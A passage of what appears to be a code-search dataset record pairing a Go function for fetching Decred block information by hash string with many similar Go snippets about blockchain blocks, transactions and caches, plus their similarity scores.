common.HexToHash(keys[0])\n\n\tbasic_context := context.Background()\n\ttx, pending, err := ctx.conn.TransactionByHash(basic_context, hash)\n\t//common.HexToHash(\"0x378674bebd1430d9ce63adc792c573da56e69b8d6c97174c93a43c5991ae0d61\"))\n\tif err != nil {\n\t\tfmt.Fprintf(w, \"Failed to get transaction details: %v\", err)\n\t\treturn 500, err\n\t}\n\tfmt.Fprintf(w, \"Transaction pending? %v; details: %v\\n\",\n\t\tpending, tx.String())\n\treturn 200, nil\n}", "func (bc *BlockChain) FindUnspentTransactions(addr string) []Transaction {\n\tvar unspentTXs []Transaction\n\tspentTXOutputs := make(map[string][]int)\n\titerator := bc.Iterator()\n\n\tfor {\n\t\t_block := iterator.Next()\n\n\t\tfor _, tx := range _block.Transactions {\n\t\t\ttxID := hex.EncodeToString(tx.ID)\n\n\t\tOutputs:\n\t\t\tfor outIdx, out := range tx.VOut {\n\t\t\t\tif spentTXOutputs[txID] != nil {\n\t\t\t\t\tfor _, spentOut := range spentTXOutputs[txID] {\n\t\t\t\t\t\tif spentOut == outIdx {\n\t\t\t\t\t\t\tcontinue Outputs\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif out.CanBeUnlockedWith(addr) {\n\t\t\t\t\tunspentTXs = append(unspentTXs, *tx)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !tx.isCoinBaseTx() {\n\t\t\t\tfor _, in := range tx.VIn {\n\t\t\t\t\tif in.CanUnlockOutputWith(addr) {\n\t\t\t\t\t\tinTxID := hex.EncodeToString(in.TxID)\n\t\t\t\t\t\tspentTXOutputs[inTxID] = append(spentTXOutputs[inTxID], in.VOut)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(_block.Prev) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn unspentTXs\n}", "func serializeUtxoEntry(entry *txo.UtxoEntry) ([]byte, error) {\n\t// Spent outputs have no serialization.\n\tif entry.IsSpent() {\n\t\treturn nil, nil\n\t}\n\n\t// Encode the header code.\n\theaderCode, err := utxoEntryHeaderCode(entry)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Calculate the size needed to serialize the entry.\n\tsize := serializeSizeVLQ(headerCode) +\n\t\tcompressedTxOutSize(uint64(entry.Amount()), entry.PkScript(), entry.Asset())\n\n\t// Serialize the header code followed by the compressed unspent\n\t// transaction output.\n\tserialized := make([]byte, size)\n\toffset := putVLQ(serialized, headerCode)\n\toffset += putCompressedTxOut(serialized[offset:], uint64(entry.Amount()),\n\t\tentry.PkScript(), entry.Asset())\n\n\treturn serialized, nil\n}", "func (rpc BitcoinRPC) GetRawTransaction(h string) ([]byte, error) {\n\tvar (\n\t\ttx []byte\n\t\terr error\n\t)\n\n\terr = rpc.client.Call(\"getrawtransaction\", []interface{}{h, 1}, &tx)\n\treturn tx, err\n}", "func (a API) GetRawTransaction(cmd *btcjson.GetRawTransactionCmd) (e error) {\n\tRPCHandlers[\"getrawtransaction\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func (o InnerErrorResponsePtrOutput) AdditionalInfo() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *InnerErrorResponse) map[string]string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.AdditionalInfo\n\t}).(pulumi.StringMapOutput)\n}", "func (ct *ConsensusTester) SiacoinOutputTransaction() (txn types.Transaction) {\n\tsci, value := ct.FindSpendableSiacoinInput()\n\ttxn = ct.AddSiacoinInputToTransaction(types.Transaction{}, sci)\n\ttxn.SiacoinOutputs = append(txn.SiacoinOutputs, types.SiacoinOutput{\n\t\tValue: value,\n\t\tUnlockHash: ct.UnlockHash,\n\t})\n\treturn\n}", "func (op *GetOp) AdditionalInfo() *GetOp {\n\tif op != nil {\n\t\top.QueryOpts.Set(\"additional_info\", \"true\")\n\t}\n\treturn op\n}", "func (t *Transaction) String() string {\n\treturn t.From + \" -> \" + t.To + \" : \" + strconv.Itoa(t.Amount)\n}", "func (a API) GetRawTransactionGetRes() (out *string, e error) {\n\tout, _ = a.Result.(*string)\n\te, _ = a.Result.(error)\n\treturn \n}", "func SprintTransaction(tx *types.Transaction) (string, error) {\n\ttxbody, err := tx.MarshalJSON()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tvar txjson bytes.Buffer\n\tif err := json.Indent(&txjson, txbody, \"\", \"\\t\"); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(txjson.Bytes()), nil\n}", "func (u UTXOSet) FindUnspentTransactionOutputs(pubKeyHash []byte) []TxOutput {\n\tvar UTXOs []TxOutput\n\n\tdb := u.BlockChain.Database\n\n\terr := db.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\n\t\t// iterate through all transactions with UTXOs\n\t\tfor it.Seek(utxoPrefix); it.ValidForPrefix(utxoPrefix); it.Next() {\n\t\t\titem := it.Item()\n\t\t\tv, err := item.Value()\n\t\t\tHandle(err)\n\t\t\touts := DeserializeOutputs(v)\n\t\t\t// go through all outputs of that transaction\n\t\t\tfor _, out := range outs.Outputs {\n\t\t\t\t// check the output was locked with this address (belongs to this receiver and can be unlocked by this address to use as new input)\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) {\n\t\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tHandle(err)\n\treturn UTXOs\n}", "func displayTransferDetails(xmlMessage string){\n // Replace all &quot; with single quote\n strings.ReplaceAll(xmlMessage, \"&quot;\", \"'\")\n // Create an parsed XML document\n doc, err := xmlquery.Parse(strings.NewReader(xmlMessage))\n if err != nil {\n panic(err)\n }\n\n // Get required 'transaction' element from Xml message\n transaction := xmlquery.FindOne(doc, \"//transaction\")\n if transaction != nil {\n transferId := transaction.SelectAttr(\"ID\")\n if action := transaction.SelectElement(\"action\"); action != nil {\n if strings.EqualFold(action.InnerText(),\"completed\") {\n // Process transfer complete Xml message\n var supplementMsg string\n status := transaction.SelectElement(\"status\")\n if status != nil {\n supplementMsg = status.SelectElement(\"supplement\").InnerText()\n fmt.Printf(\"\\n[%s] TransferID: %s Status: %s\\n \\tSupplement: %s\\n\",\n action.SelectAttr(\"time\"),\n strings.ToUpper(transferId),\n action.InnerText(),\n supplementMsg)\n }\n\n destAgent := transaction.SelectElement(\"destinationAgent\")\n statistics := transaction.SelectElement(\"statistics\")\n // Retrieve statistics\n var actualStartTimeText = \"\"\n var retryCount string\n var numFileFailures string\n var numFileWarnings string\n if statistics != nil {\n actualStartTime := statistics.SelectElement(\"actualStartTime\")\n if actualStartTime != nil {\n actualStartTimeText = actualStartTime.InnerText()\n }\n if statistics.SelectElement(\"retryCount\") != nil {\n retryCount = statistics.SelectElement(\"retryCount\").InnerText()\n }\n if statistics.SelectElement(\"numFileFailures\") != nil {\n numFileFailures = statistics.SelectElement(\"numFileFailures\").InnerText()\n }\n if statistics.SelectElement(\"numFileWarnings\") != nil {\n numFileWarnings = statistics.SelectElement(\"numFileWarnings\").InnerText()\n }\n }\n var elapsedTime time.Duration\n if actualStartTimeText != \"\" {\n startTime := getFormattedTime(actualStartTimeText)\n completePublishTIme := getFormattedTime(action.SelectAttr(\"time\"))\n elapsedTime = completePublishTIme.Sub(startTime)\n }\n\n fmt.Printf(\"\\tDestination Agent: %s\\n\\tStart time: %s\\n\\tCompletion Time: %s\\n\\tElapsed time: %s\\n\\tRetry Count: %s\\n\\tFailures:%s\\n\\tWarnings:%s\\n\\n\",\n destAgent.SelectAttr(\"agent\"),\n actualStartTimeText,\n action.SelectAttr(\"time\"),\n elapsedTime,\n retryCount,\n numFileFailures,\n numFileWarnings)\n } else if strings.EqualFold(action.InnerText(),\"progress\") {\n // Process transfer progress Xml message\n destAgent := transaction.SelectElement(\"destinationAgent\")\n progressPublishTimeText := action.SelectAttr(\"time\")\n fmt.Printf(\"\\n[%s] %s Status: %s Destination: %s \\n\", progressPublishTimeText,\n strings.ToUpper(transferId),\n action.InnerText(),\n destAgent.SelectAttr(\"agent\"))\n transferSet := transaction.SelectElement(\"transferSet\")\n startTimeText := transferSet.SelectAttr(\"startTime\")\n //startTime := getFormattedTime(startTimeText)\n //progressPublishTime := getFormattedTime(progressPublishTimeText)\n //elapsedTime := progressPublishTime.Sub(startTime)\n fmt.Printf(\"\\tStart time: %s\\n\\tTotal items in transfer request: %s\\n\\tBytes sent: %s\\n\",\n startTimeText,\n transferSet.SelectAttr(\"total\"),\n transferSet.SelectAttr(\"bytesSent\"))\n\n // Loop through all items in the progress message and display details.\n items := transferSet.SelectElements(\"item\")\n for i := 0 ; i < len(items); i++ {\n status := items[i].SelectElement(\"status\")\n resultCode := status.SelectAttr(\"resultCode\")\n var sourceName string\n var sourceSize = \"-1\"\n queueSource := items[i].SelectElement(\"source/queue\")\n if queueSource != nil {\n sourceName = queueSource.InnerText()\n } else {\n fileName := items[i].SelectElement(\"source/file\")\n if fileName != nil {\n sourceName = fileName.InnerText()\n sourceSize = fileName.SelectAttr(\"size\")\n }\n }\n\n var destinationName string\n queueDest := items[i].SelectElement(\"destination/queue\")\n var destinationSize = \"-1\"\n if queueDest != nil {\n destinationName = queueDest.InnerText()\n } else {\n fileName := items[i].SelectElement(\"destination/file\")\n if fileName != nil {\n destinationName = fileName.InnerText()\n destinationSize = fileName.SelectAttr(\"size\")\n }\n }\n\n // Display details of each item\n fmt.Printf(\"\\tItem # %d\\n\\t\\tSource: %s\\tSize: %s bytes\\n\\t\\tDestination: %s\\tSize: %s bytes\\n\",\n i+1,\n sourceName, sourceSize,\n destinationName, destinationSize)\n // Process result code and append any supplement\n if resultCode != \"0\" {\n supplement := status.SelectElement(\"supplement\")\n if supplement != nil {\n fmt.Printf(\"\\t\\tResult code %s Supplement %s\\n\", resultCode, supplement.InnerText())\n } else {\n fmt.Printf(\"\\t\\tResult code %s\\n\", resultCode)\n }\n } else {\n fmt.Printf(\"\\t\\tResult code %s\\n\", resultCode)\n }\n }\n } else if strings.EqualFold(action.InnerText(),\"started\") {\n // Process transfer started Xml message\n destAgent := transaction.SelectElement(\"destinationAgent\")\n destinationAgentName := destAgent.SelectAttr(\"agent\")\n transferSet := transaction.SelectElement(\"transferSet\")\n startTime := \"\"\n if transferSet != nil {\n startTime = transferSet.SelectAttr(\"startTime\")\n } else {\n startTime = action.SelectAttr(\"time\")\n }\n fmt.Printf(\"[%s] TransferID: %s Status: %s Destination: %s\\n\",\n startTime,\n strings.ToUpper(transferId),\n action.InnerText(),\n destinationAgentName)\n }\n }\n }\n}", "func incomeInfo(i *storage.IncomeDetails) string {\n\tif i == nil {\n\t\treturn \",,,,,,,,,,,,,,,,,,,,,\"\n\t}\n\tresult := fmt.Sprintf(\"%.2f,\", i.Total) + getFloatValues(i.Wage)\n\t// Perks\n\tif i.Perks == nil {\n\t\tresult += \",,,,,,,,,,\"\n\t} else {\n\t\tresult += fmt.Sprintf(\"%.2f,\", i.Perks.Total) +\n\t\t\tgetFloatValues(i.Perks.Food, i.Perks.Transportation, i.Perks.PreSchool, i.Perks.Health, i.Perks.BirthAid, i.Perks.HousingAid, i.Perks.Subsistence) +\n\t\t\tgetMapTotal(i.Perks.Others)\n\t}\n\t// Others\n\tif i.Other == nil {\n\t\tresult += \",,,,,,,,,\"\n\t} else {\n\t\tresult += fmt.Sprintf(\"%.2f,\", i.Other.Total) +\n\t\t\tgetFloatValues(i.Other.PersonalBenefits, i.Other.EventualBenefits, i.Other.PositionOfTrust, i.Other.Daily, i.Other.Gratification, i.Other.OriginPosition) +\n\t\t\tgetMapTotal(i.Other.Others)\n\t}\n\treturn result\n}", "func (r *Responder) NonAuthoritativeInfo() { r.write(http.StatusNonAuthoritativeInfo) }", "func (trading *TradingProvider) Info() (ui schemas.UserInfo, err error) {\n\tvar resp map[string]UserBalance\n\tvar b []byte\n\n\tuserBalance := make(map[string]schemas.Balance)\n\n\tpayload := httpclient.Params()\n\tnonce := time.Now().UnixNano()\n\tpayload.Set(\"nonce\", strconv.FormatInt(nonce, 10))\n\tpayload.Set(\"command\", commandBalance)\n\n\tb, err = trading.httpClient.Post(tradingAPI, httpclient.Params(), payload, true)\n\tif err != nil {\n\t\treturn\n\t}\n\tif err = json.Unmarshal(b, &resp); err != nil {\n\t\treturn\n\t}\n\tfor coin, value := range resp {\n\t\tuserBalance[coin] = value.Map(coin)\n\t}\n\n\tprices, err := trading.prices()\n\tif err != nil {\n\t\tlog.Println(\"Error getting prices for balances\", err)\n\t}\n\n\tui.Balances = userBalance\n\tui.Prices = prices\n\treturn\n}", "func (gw *Gateway) GetVerboseTransactionsForAddress(a cipher.Address) ([]visor.Transaction, [][]visor.TransactionInput, error) {\n\tvar err error\n\tvar txns []visor.Transaction\n\tvar inputs [][]visor.TransactionInput\n\tgw.strand(\"GetVerboseTransactionsForAddress\", func() {\n\t\ttxns, inputs, err = gw.v.GetVerboseTransactionsForAddress(a)\n\t})\n\treturn txns, inputs, err\n}", "func get_tx_info(tx *wire.MsgTx, block_index uint64) (source,\n\tdestination string, btc_amount, fee uint64, data []string) {\n\tvar bFound bool = false\n\n\tfor _, value := range tx.TxOut {\n\t\tnettype := &chaincfg.MainNetParams\n\t\tif conf.MainNet {\n\t\t\tnettype = &chaincfg.MainNetParams\n\t\t} else {\n\t\t\tnettype = &chaincfg.RegressionNetParams\n\t\t}\n\t\t_, Address, _, _ := txscript.ExtractPkScriptAddrs(value.PkScript, nettype)\n\n\t\tif len(Address) != 0 {\n\t\t\tif Address[0].String() == conf.WISHINGWALLADDRESS {\n\n\t\t\t\tbFound = true\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tif bFound == true {\n\t\t\ttempasm, _ := txscript.DisasmString(value.PkScript)\n\n\t\t\tmessage := strings.Split(tempasm, \" \")\n\n\t\t\tmerge := message[1] + message[2]\n\t\t\tdata = append(data, merge)\n\t\t}\n\t}\n\tif bFound == true {\n\t\tdestination = conf.WISHINGWALLADDRESS\n\t} else {\n\t\tvar temp []string\n\t\treturn \"\", \"\", 0, 0, temp\n\t}\n\n\t//get source address\n\n\tif tx.TxIn[0].PreviousOutPoint.Index == 0 {\n\t\tsource = string(block_index)\n\t} else {\n\t\tSourceTx, _ := bitcoinchain.GetRawTransaction(tx.TxIn[0].PreviousOutPoint.Hash.String())\n\n\t\tif SourceTx == nil {\n\t\t\tsource = \"Unkonw\"\n\t\t} else {\n\t\t\tfor _, prevalue := range SourceTx.Vout {\n\n\t\t\t\tif prevalue.N == tx.TxIn[0].PreviousOutPoint.Index {\n\t\t\t\t\tsource = prevalue.ScriptPubKey.Addresses[0]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn source, destination, 0, 0, data\n}", "func (T transaction) String() string {\n\treturn fmt.Sprintf(\"{\\n\\t\\t\\tsender:%v,\\n\\t\\t\\treceiver:%v,\\n\\t\\t\\tamount:%v\\n\\t\\t}\", T.sender, T.receiver, T.amount)\n}", "func (s AnalyticsUtteranceResult) String() string {\n\treturn awsutil.Prettify(s)\n}" ]
[ "0.6555233", "0.6028365", "0.5917241", "0.57880974", "0.57669044", "0.57227284", "0.559527", "0.55457896", "0.5459531", "0.53880763", "0.53746974", "0.53548783", "0.5329701", "0.5329196", "0.5325462", "0.5320571", "0.52972066", "0.529067", "0.526966", "0.5170877", "0.51221925", "0.50944453", "0.5079411", "0.50576437", "0.5052211", "0.50304043", "0.5026131", "0.5001881", "0.49960983", "0.49661347", "0.49576148", "0.49555618", "0.49534014", "0.49346858", "0.49334103", "0.49253133", "0.49235424", "0.49185288", "0.49037758", "0.4895235", "0.48878384", "0.48747388", "0.4866927", "0.48647767", "0.48635694", "0.48613212", "0.48524058", "0.4834448", "0.48305708", "0.48294577", "0.4819556", "0.48186842", "0.48174518", "0.48130095", "0.4809422", "0.47958532", "0.47827348", "0.47666258", "0.4764606", "0.47579393", "0.47485104", "0.47481826", "0.47480947", "0.473748", "0.4735148", "0.47327134", "0.47270828", "0.47270828", "0.47187254", "0.47124994", "0.4701715", "0.46924144", "0.46860498", "0.46856064", "0.46838996", "0.46810532", "0.46764565", "0.46763292", "0.4665134", "0.46648702", "0.46491033", "0.46320406", "0.46304202", "0.46262616", "0.4624796", "0.46200988", "0.46169657", "0.46132046", "0.4611715", "0.46066213", "0.45826182", "0.45731395", "0.45725995", "0.45679533", "0.4566405", "0.45663542", "0.45608428", "0.45461074", "0.45459762", "0.4542105" ]
0.55095285
8
Get the block information, checking the cache first. Same as getDcrBlock, but takes a string argument.
func (dcr *DCRBackend) getBlockInfo(blockid string) (*dcrBlock, error) { blockHash, err := chainhash.NewHashFromStr(blockid) if err != nil { return nil, fmt.Errorf("unable to decode block hash from %s", blockid) } return dcr.getDcrBlock(blockHash) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (cache *BlockCache) Get(blockID BlockID) (string, error) {\n\tcache.mu.Lock()\n\tdefer cache.mu.Unlock()\n\tif entry, ok := cache.entries[blockID]; ok {\n\t\tcache.callCount++\n\t\tentry.lastUsed = cache.callCount\n\t\treturn entry.block, nil\n\t}\n\treturn \"\", errors.New(\"Block \" + string(blockID) + \" is not cached\")\n}", "func GetBlock(cache *BlockCache, height int) (*walletrpc.CompactBlock, error) {\n\t// First, check the cache to see if we have the block\n\tblock := cache.Get(height)\n\tif block != nil {\n\t\treturn block, nil\n\t}\n\n\t// Not in the cache, ask zcashd\n\tblock, err := getBlockFromRPC(height)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif block == nil {\n\t\t// Block height is too large\n\t\treturn nil, errors.New(\"block requested is newer than latest block\")\n\t}\n\treturn block, nil\n}", "func (s *State) getCachedBlock(blkID ids.ID) (snowman.Block, bool) {\n\tif blk, ok := s.verifiedBlocks[blkID]; ok {\n\t\treturn blk, true\n\t}\n\n\tif blk, ok := s.decidedBlocks.Get(blkID); ok {\n\t\treturn blk.(snowman.Block), true\n\t}\n\n\tif blk, ok := s.unverifiedBlocks.Get(blkID); ok {\n\t\treturn blk.(snowman.Block), true\n\t}\n\n\treturn nil, false\n}", "func (s *Server) getBlock(ctx context.Context, bh *chainhash.Hash) (*wire.MsgBlock, error) {\n\tbl, ok := s.cacheBlocks.Lookup(*bh)\n\tif ok {\n\t\treturn bl.(*wire.MsgBlock), nil\n\t}\n\n\tb, err := s.c.GetBlock(ctx, bh)\n\tif err == nil {\n\t\ts.cacheBlocks.Add(*bh, b)\n\t\treturn b, err\n\t}\n\n\tif rpcerr, ok := err.(*dcrjson.RPCError); ok && rpcerr.Code == dcrjson.ErrRPCBlockNotFound {\n\t\treturn nil, types.ErrBlockNotFound\n\t}\n\n\t// TODO: types.DcrdError()\n\treturn nil, err\n}", "func (c *BlockCache) Get(height int) *walletrpc.CompactBlock {\n\tc.mutex.RLock()\n\tdefer c.mutex.RUnlock()\n\n\tif height < c.firstBlock || height >= c.nextBlock {\n\t\treturn nil\n\t}\n\tblock := c.readBlock(height)\n\tif block == nil {\n\t\tgo func() {\n\t\t\t// We hold only the read lock, need the exclusive lock.\n\t\t\tc.mutex.Lock()\n\t\t\tc.recoverFromCorruption(height - 10000)\n\t\t\tc.mutex.Unlock()\n\t\t}()\n\t\treturn nil\n\t}\n\treturn block\n}", "func (e *offlineExchange) GetBlock(_ context.Context, k u.Key) (*blocks.Block, error) {\n\treturn e.bs.Get(k)\n}", "func (bidb *BlockInfoStorage) GetBlockInfo(atTime time.Time) (common.BlockInfo, error) {\n\tvar (\n\t\tlogger = bidb.sugar.With(\n\t\t\t\"func\", caller.GetCurrentFunctionName(),\n\t\t\t\"time\", atTime.String(),\n\t\t)\n\t\tresult common.BlockInfo\n\t)\n\tconst selectStmt = `SELECT block, time FROM %[1]s WHERE time>$1 AND time<$2 Limit 1`\n\tquery := fmt.Sprintf(selectStmt, bidb.tableNames[blockInfoTable])\n\tlogger.Debugw(\"querying blockInfo...\", \"query\", query)\n\tif err := bidb.db.Get(&result, query, timeutil.Midnight(atTime), timeutil.Midnight(atTime).AddDate(0, 0, 1)); err != nil {\n\t\treturn common.BlockInfo{}, err\n\t}\n\treturn result, nil\n}", "func (cache *diskBlockCacheWrapped) Get(ctx context.Context, tlfID tlf.ID,\n\tblockID kbfsblock.ID) (\n\tbuf []byte, serverHalf kbfscrypto.BlockCryptKeyServerHalf,\n\tprefetchStatus PrefetchStatus, err error) {\n\tcache.mtx.RLock()\n\tdefer cache.mtx.RUnlock()\n\tprimaryCache := cache.workingSetCache\n\tsecondaryCache := cache.syncCache\n\tif cache.config.IsSyncedTlf(tlfID) && cache.syncCache != nil {\n\t\tprimaryCache, secondaryCache = secondaryCache, primaryCache\n\t}\n\t// Check both caches if the primary cache doesn't have the block.\n\tbuf, serverHalf, prefetchStatus, err =\n\t\tprimaryCache.Get(ctx, tlfID, blockID)\n\tif _, isNoSuchBlockError := err.(NoSuchBlockError); isNoSuchBlockError &&\n\t\tsecondaryCache != nil {\n\t\treturn secondaryCache.Get(ctx, tlfID, blockID)\n\t}\n\treturn buf, serverHalf, prefetchStatus, err\n}", "func (s Store) GetBlock (hash string) (*types.FullSignedBlock, error) {\r\n\t// Open badger\r\n\tstor, err := badger.Open(badger.DefaultOptions(s.StorFileLocation))\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tdefer stor.Close()\r\n\r\n\tvar block types.FullSignedBlock\r\n\terr = stor.Update(func(txn *badger.Txn) error {\r\n\t\tbytes, err := readStringIndex (txn, hash, HashKeyPrefix)\r\n\t\tif err != nil{\r\n\t\t\treturn err\r\n\t\t}\r\n\t\terr = json.Unmarshal(bytes, &block)\r\n\r\n\t\treturn err\r\n\t})\r\n\r\n\treturn &block, err\r\n}", "func (dcr *DCRBackend) getDcrBlock(blockHash *chainhash.Hash) (*dcrBlock, error) {\n\tcachedBlock, found := dcr.blockCache.block(blockHash)\n\tif found {\n\t\treturn cachedBlock, nil\n\t}\n\tblockVerbose, err := dcr.node.GetBlockVerbose(blockHash, false)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error retrieving block %s: %v\", blockHash, err)\n\t}\n\treturn dcr.blockCache.add(blockVerbose)\n}", "func GetBlock(conn *grpc.ClientConn, hash string) (*types.Block, error) {\n\tc := pb.NewContorlCommandClient(conn)\n\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\tlogger.Infof(\"Query block info of a hash :%s\", hash)\n\tr, err := c.GetBlock(ctx, &pb.GetBlockRequest{BlockHash: hash})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblock := &types.Block{}\n\terr = block.FromProtoMessage(r.Block)\n\treturn block, err\n}", "func (ds *Dsync) GetBlock(ctx context.Context, hash string) ([]byte, error) {\n\trdr, err := ds.bapi.Get(ctx, path.New(hash))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ioutil.ReadAll(rdr)\n}", "func (l *Channel) getBlock(blockNumber uint64) (*types.Block, error) {\n\tvar blockNumberInt *big.Int\n\tif blockNumber > 0 {\n\t\tblockNumberInt = big.NewInt(int64(blockNumber))\n\t}\n\n\td := time.Now().Add(5 * time.Second)\n\tctx, cancel := context.WithDeadline(context.Background(), d)\n\tdefer cancel()\n\n\tblock, err := l.client.BlockByNumber(ctx, blockNumberInt)\n\tif err != nil {\n\t\tif err.Error() == \"not found\" {\n\t\t\treturn nil, nil\n\t\t}\n\t\terr = errors.Wrap(err, \"Error getting block from geth\")\n\t\tl.log.WithField(\"block\", blockNumberInt.String()).Error(err)\n\t\treturn nil, err\n\t}\n\n\treturn block, nil\n}", "func (b *AbstractBaseEntity) GetBlock(parent string) (string, error) {\n\tparent = `(?m)^` + parent + `$`\n\treturn b.node.GetSection(parent, \"running-config\")\n}", "func GetBlock(hostURL string, hostPort int, hash string) *bytes.Buffer {\n\tparams := make(map[string]interface{})\n\tparams[\"hash\"] = hash\n\treturn makePostRequest(hostURL, hostPort, \"f_block_json\", params)\n}", "func (c *Cache) getBlock(aoffset int64, locked bool) *cacheBlock {\n\tif !locked {\n\t\tc.mu.Lock()\n\t\tdefer c.mu.Unlock()\n\t}\n\n\tif blk, ok := c.blocks[aoffset]; ok {\n\t\tc.lru.MoveToFront(blk.lru)\n\t\treturn blk\n\t}\n\n\treturn nil\n}", "func (api *APIClient) GetBlockByRepoName(repoPieces RepoPieces) (Block, error) {\n\tu, err := url.Parse(fmt.Sprintf(\"%s/api/v1/blocks\", api.baseURL))\n\tif err != nil {\n\t\treturn Block{}, errors.New(\"unable to parse Learn remote\")\n\t}\n\tv := url.Values{}\n\tv.Set(\"repo_name\", repoPieces.RepoName)\n\tv.Set(\"org\", repoPieces.Org)\n\tv.Set(\"origin\", repoPieces.Origin)\n\tu.RawQuery = v.Encode()\n\n\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Source\", \"gLearn_cli\")\n\treq.Header.Set(\"Authorization\", fmt.Sprintf(\"Bearer %s\", api.Credentials.token))\n\n\tres, err := api.client.Do(req)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != http.StatusOK {\n\t\treturn Block{}, fmt.Errorf(\"Error: response status: %d\", res.StatusCode)\n\t}\n\n\tvar blockResp blockResponse\n\terr = json.NewDecoder(res.Body).Decode(&blockResp)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\n\tif len(blockResp.Blocks) == 1 {\n\t\treturn blockResp.Blocks[0], nil\n\t}\n\treturn Block{}, nil\n}", "func (c *Cache) GetBlock(k Key) Block {\n\tidx := uint64(0)\n\tif len(c.shards) > 1 {\n\t\th := k.hashUint64()\n\t\tidx = h % uint64(len(c.shards))\n\t}\n\tshard := c.shards[idx]\n\treturn shard.GetBlock(k)\n}", "func (bs *GasChargeBlockStore) Get(ctx context.Context, c cid.Cid) (blocks.Block, error) {\n\tbs.gasTank.Charge(bs.pricelist.OnIpldGet(), \"storage get %s\", c)\n\n\tblk, err := bs.inner.Get(ctx, c)\n\tif err != nil {\n\t\tpanic(xerrors.WithMessage(err, \"failed to get block from blockstore\"))\n\t}\n\treturn blk, nil\n}", "func (s *State) GetBlock(blkID ids.ID) (snowman.Block, error) {\n\tif blk, ok := s.getCachedBlock(blkID); ok {\n\t\treturn blk, nil\n\t}\n\n\tif _, ok := s.missingBlocks.Get(blkID); ok {\n\t\treturn nil, database.ErrNotFound\n\t}\n\n\tblk, err := s.getBlock(blkID)\n\t// If getBlock returns [database.ErrNotFound], State considers\n\t// this a cacheable miss.\n\tif err == database.ErrNotFound {\n\t\ts.missingBlocks.Put(blkID, struct{}{})\n\t\treturn nil, err\n\t} else if err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Since this block is not in consensus, addBlockOutsideConsensus\n\t// is called to add [blk] to the correct cache.\n\treturn s.addBlockOutsideConsensus(blk)\n}", "func (db *StakeDatabase) block(ind int64) (*dcrutil.Block, bool) {\n\tblock, ok := db.BlockCached(ind)\n\tif !ok {\n\t\tvar err error\n\t\tblock, err = getBlockByHeight(db.NodeClient, ind) // rpcutils.GetBlock(ind, db.NodeClient)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\treturn nil, false\n\t\t}\n\t}\n\treturn block, ok\n}", "func (c *BlockCache) Get(key string) (bool, error) {\n\tc.mu.RLock()\n\tdefer c.mu.RUnlock()\n\n\tkey = strings.ToLower(key)\n\tval, ok := c.m[key]\n\n\tif !ok {\n\t\treturn false, errors.New(\"block not found\")\n\t}\n\n\treturn val, nil\n}", "func (sbc *SyncBlockChain) GetBlock(height int32, hash string) *Block {\n\tblocksAtHeight := sbc.Get(height)\n\tsbc.Mux.Lock()\n\tdefer sbc.Mux.Unlock()\n\tif blocksAtHeight != nil {\n\t\tfor _, block := range blocksAtHeight {\n\t\t\tif block.Header.Hash == hash {\n\t\t\t\treturn &block\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (c *DaemonClient) GetBlock(height uint, hash string) (Block, error) {\n\tvar b Block\n\treq := struct {\n\t\theight uint `json:\"height, omitempty\"`\n\t\thash string `json:\"hash, omitempty\"`\n\t}{\n\t\theight,\n\t\thash,\n\t}\n\tif err := call(c.endpoint, \"getblock\", req, &b); err != nil {\n\t\treturn b, err\n\t}\n\treturn b, nil\n}", "func (api *GoShimmerAPI) GetBlock(base58EncodedID string) (*jsonmodels.Block, error) {\n\tres := &jsonmodels.Block{}\n\n\tif err := api.do(\n\t\thttp.MethodGet,\n\t\trouteBlock+base58EncodedID,\n\t\tnil,\n\t\tres,\n\t); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn res, nil\n}", "func (c *Client) GetBlock(hash string) (resp *Block, e error) {\n\tif hash == \"\" || len(hash) != 64 {\n\t\treturn nil, c.err(ErrBHW)\n\t}\n\n\tresp = &Block{}\n\treturn resp, c.Do(\"/rawblock/\"+hash, resp, nil)\n}", "func (nc *NSBClient) GetBlock(id int64) (*BlockInfo, error) {\n\tb, err := nc.handler.Group(\"/block\").GetWithParams(request.Param{\n\t\t\"height\": id,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar bb []byte\n\tbb, err = nc.preloadJSONResponse(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar a BlockInfo\n\terr = json.Unmarshal(bb, &a)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &a, nil\n}", 